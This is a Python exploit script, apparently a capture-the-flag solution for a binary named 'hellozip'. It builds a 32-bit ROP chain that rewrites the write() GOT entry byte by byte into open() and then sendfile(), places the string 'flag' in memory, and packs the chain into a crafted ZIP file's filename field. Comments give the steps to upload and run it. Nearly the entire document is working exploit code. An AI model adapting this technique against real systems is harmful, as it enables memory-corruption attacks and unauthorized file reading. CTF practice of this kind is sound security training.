#!/usr/bin/env python # coding=utf8 from pwn import p32, p16 pop_2 = 0x8048F9A pop_1 = 0x8048F9B add_ptrebp_bl = 0x080488ac pop_ebp = 0x08048898 pop_ebx = 0x080484a1 ret = 0x8048B87 readable_addr = ret add_eax_ptrebx = 0x080492bb string_buf = 0x804B064 write_plt = 0x8048550 write_got = 0x804B030 rop_chain = ( # I wrote a execve version of exp, but it *dropped EGID* in the server # whatever command it executed. Although it worked fine in my local # machine. I don't know why, it's really werid. # So I tried to do all the open-read-write stuffs in one ROP-chain. # The main goal is to open('flag', 0) and sendfile(1, 3, 0, 100) p32(pop_1) + p32(readable_addr) + # pop some corrupted stack # craft open() on write_got # I could just find the gadget to ADD byte by byte. It's add_ptrebp_bl, go # check about that. p32(pop_ebx) + p32(0x80) + p32(pop_ebp) + p32(write_got + 0x3d) + p32(add_ptrebp_bl) + p32(pop_ebx) + p32(0xfc) + p32(pop_ebp) + p32(write_got + 1 + 0x3d) + p32(add_ptrebp_bl) + # prepare 'flag' string p32(pop_ebx) + p32(ord('f')) + p32(pop_ebp) + p32(string_buf + 0x3d) + p32(add_ptrebp_bl) + p32(pop_ebx) + p32(ord('l')) + p32(pop_ebp) + p32(string_buf + 1 + 0x3d) + p32(add_ptrebp_bl) + p32(pop_ebx) + p32(ord('a')) + p32(pop_ebp) + p32(string_buf + 2 + 0x3d) + p32(add_ptrebp_bl) + p32(pop_ebx) + p32(ord('g')) + p32(pop_ebp) + p32(string_buf + 3 + 0x3d) + p32(add_ptrebp_bl) + p32(pop_ebx) + p32(ord('\x00')) + p32(pop_ebp) + p32(string_buf + 4 + 0x3d) + p32(add_ptrebp_bl) + # now open('flag', 0), and the returned file descriptor should be 3 p32(write_plt) + p32(pop_2) + p32(string_buf) + p32(0) + # craft sendfile() on write_got. FYI, it's open() in write_got now. p32(pop_ebx) + p32(0x50) + p32(pop_ebp) + p32(write_got + 0x3d) + p32(add_ptrebp_bl) + p32(pop_ebx) + p32(0x7b) + p32(pop_ebp) + p32(write_got + 1 + 0x3d) + p32(add_ptrebp_bl) + # maybe a carry bit will be triggered in previous operation, about # 50% possibility. It's okay to ignore that. # finally sendfile(1, 3, 0, 100) p32(write_plt) + p32(0xdeadbeef) + p32(1) + p32(3) + p32(0) + p32(100) ) payload = '\x00' * 276 + rop_chain # Create template.zip with: # with ZipFile('template.zip', 'w') as f: # f.write('emptyfile', 'a') template_zip_buf = '504b0304140000000000517a904b0000000000000000000000000100000061504b01021403140000000000517a904b000000000000000000000000010000000000000000000000a4810000000061504b050600000000010001002f0000001f0000000000'.decode('hex') expzip_buf = \ template_zip_buf[:0x3b] + \ p16(len(payload)) + \ template_zip_buf[0x3d:0x4d] + \ payload + \ template_zip_buf[0x4e:] with open('exp.zip', 'w') as f: f.write(expzip_buf) # Now scp exp.zip to the /tmp dir in server, # and run 'cd /home/hellozip; ./hellozip < /tmp/exp.zip'